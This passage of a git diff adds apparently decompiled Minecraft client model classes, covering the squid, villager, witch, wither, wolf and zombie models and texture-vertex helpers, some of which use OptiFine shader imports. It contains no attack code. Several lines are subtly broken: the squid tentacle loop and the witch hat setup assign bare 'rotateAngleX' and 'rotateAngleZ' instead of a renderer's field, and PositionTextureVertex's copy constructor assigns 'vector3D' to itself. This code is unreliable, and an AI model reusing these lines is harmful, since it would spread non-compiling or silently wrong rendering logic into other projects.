+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    ModelRenderer[] var8 = squidTentacles;
+    int var9 = var8.length;
+    
+    for (int var10 = 0; var10 < var9; var10++)
+    {
+      ModelRenderer var11 = var8[var10];
+      rotateAngleX = p_78087_3_;
+    }
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    squidBody.render(p_78088_7_);
+    
+    for (int var8 = 0; var8 < squidTentacles.length; var8++)
+    {
+      squidTentacles[var8].render(p_78088_7_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelVillager.java b/src/minecraft/net/minecraft/client/model/ModelVillager.java
new file mode 100644
index 0000000..984e079
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelVillager.java
@@ -0,0 +1,87 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+
+
+
+
+
+
+
+
+
+public class ModelVillager
+  extends ModelBase
+{
+  public ModelRenderer villagerHead;
+  public ModelRenderer villagerBody;
+  public ModelRenderer villagerArms;
+  public ModelRenderer rightVillagerLeg;
+  public ModelRenderer leftVillagerLeg;
+  public ModelRenderer villagerNose;
+  private static final String __OBFID = "CL_00000864";
+  
+  public ModelVillager(float p_i1163_1_)
+  {
+    this(p_i1163_1_, 0.0F, 64, 64);
+  }
+  
+  public ModelVillager(float p_i1164_1_, float p_i1164_2_, int p_i1164_3_, int p_i1164_4_)
+  {
+    villagerHead = new ModelRenderer(this).setTextureSize(p_i1164_3_, p_i1164_4_);
+    villagerHead.setRotationPoint(0.0F, 0.0F + p_i1164_2_, 0.0F);
+    villagerHead.setTextureOffset(0, 0).addBox(-4.0F, -10.0F, -4.0F, 8, 10, 8, p_i1164_1_);
+    villagerNose = new ModelRenderer(this).setTextureSize(p_i1164_3_, p_i1164_4_);
+    villagerNose.setRotationPoint(0.0F, p_i1164_2_ - 2.0F, 0.0F);
+    villagerNose.setTextureOffset(24, 0).addBox(-1.0F, -1.0F, -6.0F, 2, 4, 2, p_i1164_1_);
+    villagerHead.addChild(villagerNose);
+    villagerBody = new ModelRenderer(this).setTextureSize(p_i1164_3_, p_i1164_4_);
+    villagerBody.setRotationPoint(0.0F, 0.0F + p_i1164_2_, 0.0F);
+    villagerBody.setTextureOffset(16, 20).addBox(-4.0F, 0.0F, -3.0F, 8, 12, 6, p_i1164_1_);
+    villagerBody.setTextureOffset(0, 38).addBox(-4.0F, 0.0F, -3.0F, 8, 18, 6, p_i1164_1_ + 0.5F);
+    villagerArms = new ModelRenderer(this).setTextureSize(p_i1164_3_, p_i1164_4_);
+    villagerArms.setRotationPoint(0.0F, 0.0F + p_i1164_2_ + 2.0F, 0.0F);
+    villagerArms.setTextureOffset(44, 22).addBox(-8.0F, -2.0F, -2.0F, 4, 8, 4, p_i1164_1_);
+    villagerArms.setTextureOffset(44, 22).addBox(4.0F, -2.0F, -2.0F, 4, 8, 4, p_i1164_1_);
+    villagerArms.setTextureOffset(40, 38).addBox(-4.0F, 2.0F, -2.0F, 8, 4, 4, p_i1164_1_);
+    rightVillagerLeg = new ModelRenderer(this, 0, 22).setTextureSize(p_i1164_3_, p_i1164_4_);
+    rightVillagerLeg.setRotationPoint(-2.0F, 12.0F + p_i1164_2_, 0.0F);
+    rightVillagerLeg.addBox(-2.0F, 0.0F, -2.0F, 4, 12, 4, p_i1164_1_);
+    leftVillagerLeg = new ModelRenderer(this, 0, 22).setTextureSize(p_i1164_3_, p_i1164_4_);
+    leftVillagerLeg.mirror = true;
+    leftVillagerLeg.setRotationPoint(2.0F, 12.0F + p_i1164_2_, 0.0F);
+    leftVillagerLeg.addBox(-2.0F, 0.0F, -2.0F, 4, 12, 4, p_i1164_1_);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    villagerHead.render(p_78088_7_);
+    villagerBody.render(p_78088_7_);
+    rightVillagerLeg.render(p_78088_7_);
+    leftVillagerLeg.render(p_78088_7_);
+    villagerArms.render(p_78088_7_);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    villagerHead.rotateAngleY = (p_78087_4_ / 57.295776F);
+    villagerHead.rotateAngleX = (p_78087_5_ / 57.295776F);
+    villagerArms.rotationPointY = 3.0F;
+    villagerArms.rotationPointZ = -1.0F;
+    villagerArms.rotateAngleX = -0.75F;
+    rightVillagerLeg.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F) * 1.4F * p_78087_2_ * 0.5F);
+    leftVillagerLeg.rotateAngleX = (MathHelper.cos(p_78087_1_ * 0.6662F + 3.1415927F) * 1.4F * p_78087_2_ * 0.5F);
+    rightVillagerLeg.rotateAngleY = 0.0F;
+    leftVillagerLeg.rotateAngleY = 0.0F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelWitch.java b/src/minecraft/net/minecraft/client/model/ModelWitch.java
new file mode 100644
index 0000000..b348b11
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelWitch.java
@@ -0,0 +1,64 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+
+public class ModelWitch extends ModelVillager
+{
+  public boolean field_82900_g;
+  private ModelRenderer field_82901_h = new ModelRenderer(this).setTextureSize(64, 128);
+  private ModelRenderer witchHat;
+  private static final String __OBFID = "CL_00000866";
+  
+  public ModelWitch(float p_i46361_1_)
+  {
+    super(p_i46361_1_, 0.0F, 64, 128);
+    field_82901_h.setRotationPoint(0.0F, -2.0F, 0.0F);
+    field_82901_h.setTextureOffset(0, 0).addBox(0.0F, 3.0F, -6.75F, 1, 1, 1, -0.25F);
+    villagerNose.addChild(field_82901_h);
+    witchHat = new ModelRenderer(this).setTextureSize(64, 128);
+    witchHat.setRotationPoint(-5.0F, -10.03125F, -5.0F);
+    witchHat.setTextureOffset(0, 64).addBox(0.0F, 0.0F, 0.0F, 10, 2, 10);
+    villagerHead.addChild(witchHat);
+    ModelRenderer var2 = new ModelRenderer(this).setTextureSize(64, 128);
+    var2.setRotationPoint(1.75F, -4.0F, 2.0F);
+    var2.setTextureOffset(0, 76).addBox(0.0F, 0.0F, 0.0F, 7, 4, 7);
+    rotateAngleX = -0.05235988F;
+    rotateAngleZ = 0.02617994F;
+    witchHat.addChild(var2);
+    ModelRenderer var3 = new ModelRenderer(this).setTextureSize(64, 128);
+    var3.setRotationPoint(1.75F, -4.0F, 2.0F);
+    var3.setTextureOffset(0, 87).addBox(0.0F, 0.0F, 0.0F, 4, 4, 4);
+    rotateAngleX = -0.10471976F;
+    rotateAngleZ = 0.05235988F;
+    var2.addChild(var3);
+    ModelRenderer var4 = new ModelRenderer(this).setTextureSize(64, 128);
+    var4.setRotationPoint(1.75F, -2.0F, 2.0F);
+    var4.setTextureOffset(0, 95).addBox(0.0F, 0.0F, 0.0F, 1, 2, 1, 0.25F);
+    rotateAngleX = -0.20943952F;
+    rotateAngleZ = 0.10471976F;
+    var3.addChild(var4);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    super.setRotationAngles(p_78087_1_, p_78087_2_, p_78087_3_, p_78087_4_, p_78087_5_, p_78087_6_, p_78087_7_);
+    villagerNose.offsetX = (villagerNose.offsetY = villagerNose.offsetZ = 0.0F);
+    float var8 = 0.01F * (p_78087_7_.getEntityId() % 10);
+    villagerNose.rotateAngleX = (MathHelper.sin(ticksExisted * var8) * 4.5F * 3.1415927F / 180.0F);
+    villagerNose.rotateAngleY = 0.0F;
+    villagerNose.rotateAngleZ = (MathHelper.cos(ticksExisted * var8) * 2.5F * 3.1415927F / 180.0F);
+    
+    if (field_82900_g)
+    {
+      villagerNose.rotateAngleX = -0.9F;
+      villagerNose.offsetZ = -0.09375F;
+      villagerNose.offsetY = 0.1875F;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelWither.java b/src/minecraft/net/minecraft/client/model/ModelWither.java
new file mode 100644
index 0000000..d40b580
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelWither.java
@@ -0,0 +1,98 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.boss.EntityWither;
+import net.minecraft.util.MathHelper;
+
+public class ModelWither extends ModelBase
+{
+  private ModelRenderer[] field_82905_a;
+  private ModelRenderer[] field_82904_b;
+  private static final String __OBFID = "CL_00000867";
+  
+  public ModelWither(float p_i46302_1_)
+  {
+    textureWidth = 64;
+    textureHeight = 64;
+    field_82905_a = new ModelRenderer[3];
+    field_82905_a[0] = new ModelRenderer(this, 0, 16);
+    field_82905_a[0].addBox(-10.0F, 3.9F, -0.5F, 20, 3, 3, p_i46302_1_);
+    field_82905_a[1] = new ModelRenderer(this).setTextureSize(textureWidth, textureHeight);
+    field_82905_a[1].setRotationPoint(-2.0F, 6.9F, -0.5F);
+    field_82905_a[1].setTextureOffset(0, 22).addBox(0.0F, 0.0F, 0.0F, 3, 10, 3, p_i46302_1_);
+    field_82905_a[1].setTextureOffset(24, 22).addBox(-4.0F, 1.5F, 0.5F, 11, 2, 2, p_i46302_1_);
+    field_82905_a[1].setTextureOffset(24, 22).addBox(-4.0F, 4.0F, 0.5F, 11, 2, 2, p_i46302_1_);
+    field_82905_a[1].setTextureOffset(24, 22).addBox(-4.0F, 6.5F, 0.5F, 11, 2, 2, p_i46302_1_);
+    field_82905_a[2] = new ModelRenderer(this, 12, 22);
+    field_82905_a[2].addBox(0.0F, 0.0F, 0.0F, 3, 6, 3, p_i46302_1_);
+    field_82904_b = new ModelRenderer[3];
+    field_82904_b[0] = new ModelRenderer(this, 0, 0);
+    field_82904_b[0].addBox(-4.0F, -4.0F, -4.0F, 8, 8, 8, p_i46302_1_);
+    field_82904_b[1] = new ModelRenderer(this, 32, 0);
+    field_82904_b[1].addBox(-4.0F, -4.0F, -4.0F, 6, 6, 6, p_i46302_1_);
+    field_82904_b[1].rotationPointX = -8.0F;
+    field_82904_b[1].rotationPointY = 4.0F;
+    field_82904_b[2] = new ModelRenderer(this, 32, 0);
+    field_82904_b[2].addBox(-4.0F, -4.0F, -4.0F, 6, 6, 6, p_i46302_1_);
+    field_82904_b[2].rotationPointX = 10.0F;
+    field_82904_b[2].rotationPointY = 4.0F;
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    ModelRenderer[] var8 = field_82904_b;
+    int var9 = var8.length;
+    
+
+
+    for (int var10 = 0; var10 < var9; var10++)
+    {
+      ModelRenderer var11 = var8[var10];
+      var11.render(p_78088_7_);
+    }
+    
+    var8 = field_82905_a;
+    var9 = var8.length;
+    
+    for (var10 = 0; var10 < var9; var10++)
+    {
+      ModelRenderer var11 = var8[var10];
+      var11.render(p_78088_7_);
+    }
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    float var8 = MathHelper.cos(p_78087_3_ * 0.1F);
+    field_82905_a[1].rotateAngleX = ((0.065F + 0.05F * var8) * 3.1415927F);
+    field_82905_a[2].setRotationPoint(-2.0F, 6.9F + MathHelper.cos(field_82905_a[1].rotateAngleX) * 10.0F, -0.5F + MathHelper.sin(field_82905_a[1].rotateAngleX) * 10.0F);
+    field_82905_a[2].rotateAngleX = ((0.265F + 0.1F * var8) * 3.1415927F);
+    field_82904_b[0].rotateAngleY = (p_78087_4_ / 57.295776F);
+    field_82904_b[0].rotateAngleX = (p_78087_5_ / 57.295776F);
+  }
+  
+
+
+
+
+  public void setLivingAnimations(EntityLivingBase p_78086_1_, float p_78086_2_, float p_78086_3_, float p_78086_4_)
+  {
+    EntityWither var5 = (EntityWither)p_78086_1_;
+    
+    for (int var6 = 1; var6 < 3; var6++)
+    {
+      field_82904_b[var6].rotateAngleY = ((var5.func_82207_a(var6 - 1) - renderYawOffset) / 57.295776F);
+      field_82904_b[var6].rotateAngleX = (var5.func_82210_r(var6 - 1) / 57.295776F);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelWolf.java b/src/minecraft/net/minecraft/client/model/ModelWolf.java
new file mode 100644
index 0000000..5c4f7fe
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelWolf.java
@@ -0,0 +1,178 @@
+package net.minecraft.client.model;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityWolf;
+import net.minecraft.util.MathHelper;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ModelWolf
+  extends ModelBase
+{
+  public ModelRenderer wolfHeadMain;
+  public ModelRenderer wolfBody;
+  public ModelRenderer wolfLeg1;
+  public ModelRenderer wolfLeg2;
+  public ModelRenderer wolfLeg3;
+  public ModelRenderer wolfLeg4;
+  ModelRenderer wolfTail;
+  ModelRenderer wolfMane;
+  private static final String __OBFID = "CL_00000868";
+  
+  public ModelWolf()
+  {
+    float var1 = 0.0F;
+    float var2 = 13.5F;
+    wolfHeadMain = new ModelRenderer(this, 0, 0);
+    wolfHeadMain.addBox(-3.0F, -3.0F, -2.0F, 6, 6, 4, var1);
+    wolfHeadMain.setRotationPoint(-1.0F, var2, -7.0F);
+    wolfBody = new ModelRenderer(this, 18, 14);
+    wolfBody.addBox(-4.0F, -2.0F, -3.0F, 6, 9, 6, var1);
+    wolfBody.setRotationPoint(0.0F, 14.0F, 2.0F);
+    wolfMane = new ModelRenderer(this, 21, 0);
+    wolfMane.addBox(-4.0F, -3.0F, -3.0F, 8, 6, 7, var1);
+    wolfMane.setRotationPoint(-1.0F, 14.0F, 2.0F);
+    wolfLeg1 = new ModelRenderer(this, 0, 18);
+    wolfLeg1.addBox(-1.0F, 0.0F, -1.0F, 2, 8, 2, var1);
+    wolfLeg1.setRotationPoint(-2.5F, 16.0F, 7.0F);
+    wolfLeg2 = new ModelRenderer(this, 0, 18);
+    wolfLeg2.addBox(-1.0F, 0.0F, -1.0F, 2, 8, 2, var1);
+    wolfLeg2.setRotationPoint(0.5F, 16.0F, 7.0F);
+    wolfLeg3 = new ModelRenderer(this, 0, 18);
+    wolfLeg3.addBox(-1.0F, 0.0F, -1.0F, 2, 8, 2, var1);
+    wolfLeg3.setRotationPoint(-2.5F, 16.0F, -4.0F);
+    wolfLeg4 = new ModelRenderer(this, 0, 18);
+    wolfLeg4.addBox(-1.0F, 0.0F, -1.0F, 2, 8, 2, var1);
+    wolfLeg4.setRotationPoint(0.5F, 16.0F, -4.0F);
+    wolfTail = new ModelRenderer(this, 9, 18);
+    wolfTail.addBox(-1.0F, 0.0F, -1.0F, 2, 8, 2, var1);
+    wolfTail.setRotationPoint(-1.0F, 12.0F, 8.0F);
+    wolfHeadMain.setTextureOffset(16, 14).addBox(-3.0F, -5.0F, 0.0F, 2, 2, 1, var1);
+    wolfHeadMain.setTextureOffset(16, 14).addBox(1.0F, -5.0F, 0.0F, 2, 2, 1, var1);
+    wolfHeadMain.setTextureOffset(0, 10).addBox(-1.5F, 0.0F, -5.0F, 3, 3, 4, var1);
+  }
+  
+
+
+
+  public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_)
+  {
+    super.render(p_78088_1_, p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_);
+    setRotationAngles(p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_, p_78088_1_);
+    
+    if (isChild)
+    {
+      float var8 = 2.0F;
+      GlStateManager.pushMatrix();
+      GlStateManager.translate(0.0F, 5.0F * p_78088_7_, 2.0F * p_78088_7_);
+      wolfHeadMain.renderWithRotation(p_78088_7_);
+      GlStateManager.popMatrix();
+      GlStateManager.pushMatrix();
+      GlStateManager.scale(1.0F / var8, 1.0F / var8, 1.0F / var8);
+      GlStateManager.translate(0.0F, 24.0F * p_78088_7_, 0.0F);
+      wolfBody.render(p_78088_7_);
+      wolfLeg1.render(p_78088_7_);
+      wolfLeg2.render(p_78088_7_);
+      wolfLeg3.render(p_78088_7_);
+      wolfLeg4.render(p_78088_7_);
+      wolfTail.renderWithRotation(p_78088_7_);
+      wolfMane.render(p_78088_7_);
+      GlStateManager.popMatrix();
+    }
+    else
+    {
+      wolfHeadMain.renderWithRotation(p_78088_7_);
+      wolfBody.render(p_78088_7_);
+      wolfLeg1.render(p_78088_7_);
+      wolfLeg2.render(p_78088_7_);
+      wolfLeg3.render(p_78088_7_);
+      wolfLeg4.render(p_78088_7_);
+      wolfTail.renderWithRotation(p_78088_7_);
+      wolfMane.render(p_78088_7_);
+    }
+  }
+  
+
+
+
+
+  public void setLivingAnimations(EntityLivingBase p_78086_1_, float p_78086_2_, float p_78086_3_, float p_78086_4_)
+  {
+    EntityWolf var5 = (EntityWolf)p_78086_1_;
+    
+    if (var5.isAngry())
+    {
+      wolfTail.rotateAngleY = 0.0F;
+    }
+    else
+    {
+      wolfTail.rotateAngleY = (MathHelper.cos(p_78086_2_ * 0.6662F) * 1.4F * p_78086_3_);
+    }
+    
+    if (var5.isSitting())
+    {
+      wolfMane.setRotationPoint(-1.0F, 16.0F, -3.0F);
+      wolfMane.rotateAngleX = 1.2566371F;
+      wolfMane.rotateAngleY = 0.0F;
+      wolfBody.setRotationPoint(0.0F, 18.0F, 0.0F);
+      wolfBody.rotateAngleX = 0.7853982F;
+      wolfTail.setRotationPoint(-1.0F, 21.0F, 6.0F);
+      wolfLeg1.setRotationPoint(-2.5F, 22.0F, 2.0F);
+      wolfLeg1.rotateAngleX = 4.712389F;
+      wolfLeg2.setRotationPoint(0.5F, 22.0F, 2.0F);
+      wolfLeg2.rotateAngleX = 4.712389F;
+      wolfLeg3.rotateAngleX = 5.811947F;
+      wolfLeg3.setRotationPoint(-2.49F, 17.0F, -4.0F);
+      wolfLeg4.rotateAngleX = 5.811947F;
+      wolfLeg4.setRotationPoint(0.51F, 17.0F, -4.0F);
+    }
+    else
+    {
+      wolfBody.setRotationPoint(0.0F, 14.0F, 2.0F);
+      wolfBody.rotateAngleX = 1.5707964F;
+      wolfMane.setRotationPoint(-1.0F, 14.0F, -3.0F);
+      wolfMane.rotateAngleX = wolfBody.rotateAngleX;
+      wolfTail.setRotationPoint(-1.0F, 12.0F, 8.0F);
+      wolfLeg1.setRotationPoint(-2.5F, 16.0F, 7.0F);
+      wolfLeg2.setRotationPoint(0.5F, 16.0F, 7.0F);
+      wolfLeg3.setRotationPoint(-2.5F, 16.0F, -4.0F);
+      wolfLeg4.setRotationPoint(0.5F, 16.0F, -4.0F);
+      wolfLeg1.rotateAngleX = (MathHelper.cos(p_78086_2_ * 0.6662F) * 1.4F * p_78086_3_);
+      wolfLeg2.rotateAngleX = (MathHelper.cos(p_78086_2_ * 0.6662F + 3.1415927F) * 1.4F * p_78086_3_);
+      wolfLeg3.rotateAngleX = (MathHelper.cos(p_78086_2_ * 0.6662F + 3.1415927F) * 1.4F * p_78086_3_);
+      wolfLeg4.rotateAngleX = (MathHelper.cos(p_78086_2_ * 0.6662F) * 1.4F * p_78086_3_);
+    }
+    
+    wolfHeadMain.rotateAngleZ = (var5.getInterestedAngle(p_78086_4_) + var5.getShakeAngle(p_78086_4_, 0.0F));
+    wolfMane.rotateAngleZ = var5.getShakeAngle(p_78086_4_, -0.08F);
+    wolfBody.rotateAngleZ = var5.getShakeAngle(p_78086_4_, -0.16F);
+    wolfTail.rotateAngleZ = var5.getShakeAngle(p_78086_4_, -0.2F);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    super.setRotationAngles(p_78087_1_, p_78087_2_, p_78087_3_, p_78087_4_, p_78087_5_, p_78087_6_, p_78087_7_);
+    wolfHeadMain.rotateAngleX = (p_78087_5_ / 57.295776F);
+    wolfHeadMain.rotateAngleY = (p_78087_4_ / 57.295776F);
+    wolfTail.rotateAngleX = p_78087_3_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelZombie.java b/src/minecraft/net/minecraft/client/model/ModelZombie.java
new file mode 100644
index 0000000..903d261
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelZombie.java
@@ -0,0 +1,48 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+
+public class ModelZombie extends ModelBiped
+{
+  private static final String __OBFID = "CL_00000869";
+  
+  public ModelZombie()
+  {
+    this(0.0F, false);
+  }
+  
+  protected ModelZombie(float p_i1167_1_, float p_i1167_2_, int p_i1167_3_, int p_i1167_4_)
+  {
+    super(p_i1167_1_, p_i1167_2_, p_i1167_3_, p_i1167_4_);
+  }
+  
+  public ModelZombie(float p_i1168_1_, boolean p_i1168_2_)
+  {
+    super(p_i1168_1_, 0.0F, 64, p_i1168_2_ ? 32 : 64);
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    super.setRotationAngles(p_78087_1_, p_78087_2_, p_78087_3_, p_78087_4_, p_78087_5_, p_78087_6_, p_78087_7_);
+    float var8 = MathHelper.sin(swingProgress * 3.1415927F);
+    float var9 = MathHelper.sin((1.0F - (1.0F - swingProgress) * (1.0F - swingProgress)) * 3.1415927F);
+    bipedRightArm.rotateAngleZ = 0.0F;
+    bipedLeftArm.rotateAngleZ = 0.0F;
+    bipedRightArm.rotateAngleY = (-(0.1F - var8 * 0.6F));
+    bipedLeftArm.rotateAngleY = (0.1F - var8 * 0.6F);
+    bipedRightArm.rotateAngleX = -1.5707964F;
+    bipedLeftArm.rotateAngleX = -1.5707964F;
+    bipedRightArm.rotateAngleX -= var8 * 1.2F - var9 * 0.4F;
+    bipedLeftArm.rotateAngleX -= var8 * 1.2F - var9 * 0.4F;
+    bipedRightArm.rotateAngleZ += MathHelper.cos(p_78087_3_ * 0.09F) * 0.05F + 0.05F;
+    bipedLeftArm.rotateAngleZ -= MathHelper.cos(p_78087_3_ * 0.09F) * 0.05F + 0.05F;
+    bipedRightArm.rotateAngleX += MathHelper.sin(p_78087_3_ * 0.067F) * 0.05F;
+    bipedLeftArm.rotateAngleX -= MathHelper.sin(p_78087_3_ * 0.067F) * 0.05F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/ModelZombieVillager.java b/src/minecraft/net/minecraft/client/model/ModelZombieVillager.java
new file mode 100644
index 0000000..c3fcb12
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/ModelZombieVillager.java
@@ -0,0 +1,57 @@
+package net.minecraft.client.model;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+
+public class ModelZombieVillager extends ModelBiped
+{
+  private static final String __OBFID = "CL_00000865";
+  
+  public ModelZombieVillager()
+  {
+    this(0.0F, 0.0F, false);
+  }
+  
+  public ModelZombieVillager(float p_i1165_1_, float p_i1165_2_, boolean p_i1165_3_)
+  {
+    super(p_i1165_1_, 0.0F, 64, p_i1165_3_ ? 32 : 64);
+    
+    if (p_i1165_3_)
+    {
+      bipedHead = new ModelRenderer(this, 0, 0);
+      bipedHead.addBox(-4.0F, -10.0F, -4.0F, 8, 8, 8, p_i1165_1_);
+      bipedHead.setRotationPoint(0.0F, 0.0F + p_i1165_2_, 0.0F);
+    }
+    else
+    {
+      bipedHead = new ModelRenderer(this);
+      bipedHead.setRotationPoint(0.0F, 0.0F + p_i1165_2_, 0.0F);
+      bipedHead.setTextureOffset(0, 32).addBox(-4.0F, -10.0F, -4.0F, 8, 10, 8, p_i1165_1_);
+      bipedHead.setTextureOffset(24, 32).addBox(-1.0F, -3.0F, -6.0F, 2, 4, 2, p_i1165_1_);
+    }
+  }
+  
+
+
+
+
+
+  public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity p_78087_7_)
+  {
+    super.setRotationAngles(p_78087_1_, p_78087_2_, p_78087_3_, p_78087_4_, p_78087_5_, p_78087_6_, p_78087_7_);
+    float var8 = MathHelper.sin(swingProgress * 3.1415927F);
+    float var9 = MathHelper.sin((1.0F - (1.0F - swingProgress) * (1.0F - swingProgress)) * 3.1415927F);
+    bipedRightArm.rotateAngleZ = 0.0F;
+    bipedLeftArm.rotateAngleZ = 0.0F;
+    bipedRightArm.rotateAngleY = (-(0.1F - var8 * 0.6F));
+    bipedLeftArm.rotateAngleY = (0.1F - var8 * 0.6F);
+    bipedRightArm.rotateAngleX = -1.5707964F;
+    bipedLeftArm.rotateAngleX = -1.5707964F;
+    bipedRightArm.rotateAngleX -= var8 * 1.2F - var9 * 0.4F;
+    bipedLeftArm.rotateAngleX -= var8 * 1.2F - var9 * 0.4F;
+    bipedRightArm.rotateAngleZ += MathHelper.cos(p_78087_3_ * 0.09F) * 0.05F + 0.05F;
+    bipedLeftArm.rotateAngleZ -= MathHelper.cos(p_78087_3_ * 0.09F) * 0.05F + 0.05F;
+    bipedRightArm.rotateAngleX += MathHelper.sin(p_78087_3_ * 0.067F) * 0.05F;
+    bipedLeftArm.rotateAngleX -= MathHelper.sin(p_78087_3_ * 0.067F) * 0.05F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/PositionTextureVertex.java b/src/minecraft/net/minecraft/client/model/PositionTextureVertex.java
new file mode 100644
index 0000000..78bdf16
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/PositionTextureVertex.java
@@ -0,0 +1,35 @@
+package net.minecraft.client.model;
+
+import net.minecraft.util.Vec3;
+
+public class PositionTextureVertex
+{
+  public Vec3 vector3D;
+  public float texturePositionX;
+  public float texturePositionY;
+  private static final String __OBFID = "CL_00000862";
+  
+  public PositionTextureVertex(float p_i1158_1_, float p_i1158_2_, float p_i1158_3_, float p_i1158_4_, float p_i1158_5_)
+  {
+    this(new Vec3(p_i1158_1_, p_i1158_2_, p_i1158_3_), p_i1158_4_, p_i1158_5_);
+  }
+  
+  public PositionTextureVertex setTexturePosition(float p_78240_1_, float p_78240_2_)
+  {
+    return new PositionTextureVertex(this, p_78240_1_, p_78240_2_);
+  }
+  
+  public PositionTextureVertex(PositionTextureVertex p_i46363_1_, float p_i46363_2_, float p_i46363_3_)
+  {
+    vector3D = vector3D;
+    texturePositionX = p_i46363_2_;
+    texturePositionY = p_i46363_3_;
+  }
+  
+  public PositionTextureVertex(Vec3 p_i1160_1_, float p_i1160_2_, float p_i1160_3_)
+  {
+    vector3D = p_i1160_1_;
+    texturePositionX = p_i1160_2_;
+    texturePositionY = p_i1160_3_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/TextureOffset.java b/src/minecraft/net/minecraft/client/model/TextureOffset.java
new file mode 100644
index 0000000..8a7e00c
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/TextureOffset.java
@@ -0,0 +1,17 @@
+package net.minecraft.client.model;
+
+
+public class TextureOffset
+{
+  public final int textureOffsetX;
+  
+  public final int textureOffsetY;
+  
+  private static final String __OBFID = "CL_00000875";
+  
+  public TextureOffset(int p_i1175_1_, int p_i1175_2_)
+  {
+    textureOffsetX = p_i1175_1_;
+    textureOffsetY = p_i1175_2_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/model/TexturedQuad.java b/src/minecraft/net/minecraft/client/model/TexturedQuad.java
new file mode 100644
index 0000000..15abce3
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/model/TexturedQuad.java
@@ -0,0 +1,74 @@
+package net.minecraft.client.model;
+
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.util.Vec3;
+import optifine.Config;
+import shadersmod.client.SVertexBuilder;
+
+public class TexturedQuad
+{
+  public PositionTextureVertex[] vertexPositions;
+  public int nVertices;
+  private boolean invertNormal;
+  private static final String __OBFID = "CL_00000850";
+  
+  public TexturedQuad(PositionTextureVertex[] vertices)
+  {
+    vertexPositions = vertices;
+    nVertices = vertices.length;
+  }
+  
+  public TexturedQuad(PositionTextureVertex[] vertices, int texcoordU1, int texcoordV1, int texcoordU2, int texcoordV2, float textureWidth, float textureHeight)
+  {
+    this(vertices);
+    float var8 = 0.0F / textureWidth;
+    float var9 = 0.0F / textureHeight;
+    vertices[0] = vertices[0].setTexturePosition(texcoordU2 / textureWidth - var8, texcoordV1 / textureHeight + var9);
